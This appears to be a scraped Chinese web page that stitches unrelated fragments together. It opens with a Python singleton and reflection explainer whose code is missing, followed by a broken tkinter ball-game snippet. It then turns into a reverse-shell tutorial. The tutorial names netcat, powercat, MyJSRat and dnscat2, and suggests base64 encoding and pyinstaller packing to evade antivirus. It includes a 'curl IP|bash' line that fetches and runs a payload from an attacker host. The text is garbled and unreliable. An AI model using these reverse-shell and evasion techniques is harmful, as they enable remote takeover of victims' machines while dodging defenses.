Python中的单例模式与反弹机制

Python016

Python中的单例模式与反弹机制,第1张

一。单例模式

一般情况下,类可以生成任意个实例,而单例模式只生成一个实例

我们先用单例模式设计一个Rectangle类

然后用__new__方法设计单例模式,代码如下

然后我们来验证下,单例模式下是否只能生成一个实例

单例模式在程序设计中比较典型的应用场景:多个用户同时调用某个模块时,会生成一些日志,我们希望这些日志存在同一个文件内,而不是多个文件。

在生成日志模块我们就可以采用单例模式进行设计。

二。反射

概念:简单来说就是可以利用字符串来映射模块中的相应方法然后可以操作模块中相应的方法

我们以一个饭店点菜的实际场景来理解Python的反射机制

hasatter(对象,属性或方法名)

判断对象中是否有某个属性或某个方法,返回值是布尔型

getattr(对象,属性或方法名,缺省值) 判断对象中是否有某个属性或某个方法,如果有返回方法本身,没有则返回缺省值

setattr(对象,属性,新值)

将实例的属性改为新的值,如果属性不存在则新建

我们给实例guke1加个价格属性

from tkinter import *

import time

import random

class Ball:

def init (self,canvas,color):

# print("begin create ball:",type(canvas),color)

self.canvas=canvas

self.id=canvas.create_oval(10,10,25,25,fill=color) #,绘制带颜色和上下坐标的椭圆形oval,保存小球ID

self.canvas.move(self.id,250,100) #用x方向和y方向位移,让小球移动到中心位置(500/2200/2)

starts=[-3,-2,-1,1,2,3]

random.shuffle(starts) #重新洗牌,对随机数重新放置

self.x=starts[0]

self.y=-3

self.canvas_height=self.canvas.winfo_height() #获取画布当前高度

self.canvas_width=self.canvas.winfo_width() #获取画布当前宽度

tk = Tk()

tk.title('弹球游戏')

tk['width']=400

tk['height']=300

tk.resizable(False,False) #窗口大小不能调整,也可以用0替代False

tk.wm_attributes("-topmost",1) #此窗口放到其他所有窗口之前

canvas = Canvas(tk,width=500,height=400,bd=0,highlightthickness=0) #后面两个具名函数 bd high...表示画笔之外无边框

canvas.pack() #调整画布大小

tk.update() #动画初始化

ball = Ball(canvas,'red') #把画布保存到对象变量中,准备在它上面画球

while True:

ball.draw()

#重画图像

tk.update_idletasks()

tk.update()

#等待一会

time.sleep(0.01)

tk.mainloop() # stops mainloop

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

简而言之,反弹shell就是要我们的vps服务器设置监听,然后让服务器反弹一个shell来连接我们自己的主机,从而使我们能远程控制我们的主机

客户端执行:

服务端成功接收,客户端执行命令成功。

成功反弹:

当然由于各种环境不同,服务端不一定有nc,所以还要靠其他手段各显神通。

项目地址: https://eternallybored.org/misc/netcat/

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多

注意某些特殊情况需要将powershell脚本进行base64编码,才能成功反弹。比如sqlserver的命令执行、php中system函数的执行

base64编码处理:

目标机器执行:

适用于Python2环境

考虑实战中可能没有python环境

可以先在本地上使用pyinstaller将改文件打包为exe文件,直接上传exe运行即可。(推荐使用)

实际测试bypass av效果也比较好。

其实msf有相应的模块可以生成dll,没事也可以用用这个小工具,轻便快捷,一键操作,免杀能力一般,但起码比msf强,msf生成的基本会被通杀。

将生成的dll文件上传至被攻击端

运行命令:

攻击端用nc监听,即可反弹cmd

github项目地址: https://github.com/Ridter/MyJSRat

攻击端运行:

被控端运行:

首先在目标上查看相关命令是否存在:

某些目标的 nc 不支持 -e 参数,有两个解决思路

要么使用其他版本的 nc:

要么配合命名管道进行反弹:

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

然后再目标机上执行如下,即可反弹shell:

补充: curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等

保存为Revs.java文件,编译执行,成功反弹shell。

项目地址: https://github.com/iagox86/dnscat2

具体原理请参考: python正向连接后门

最后,推荐一个一键在线生成反弹shell网站:

https://krober.biz/misc/reverse_shell.php

windows命令行反弹shell(一)

Windows/Linux 下nc 反弹shell

反弹shell原理与实现

Reverse shell cheatsheet

反弹shell的各种姿势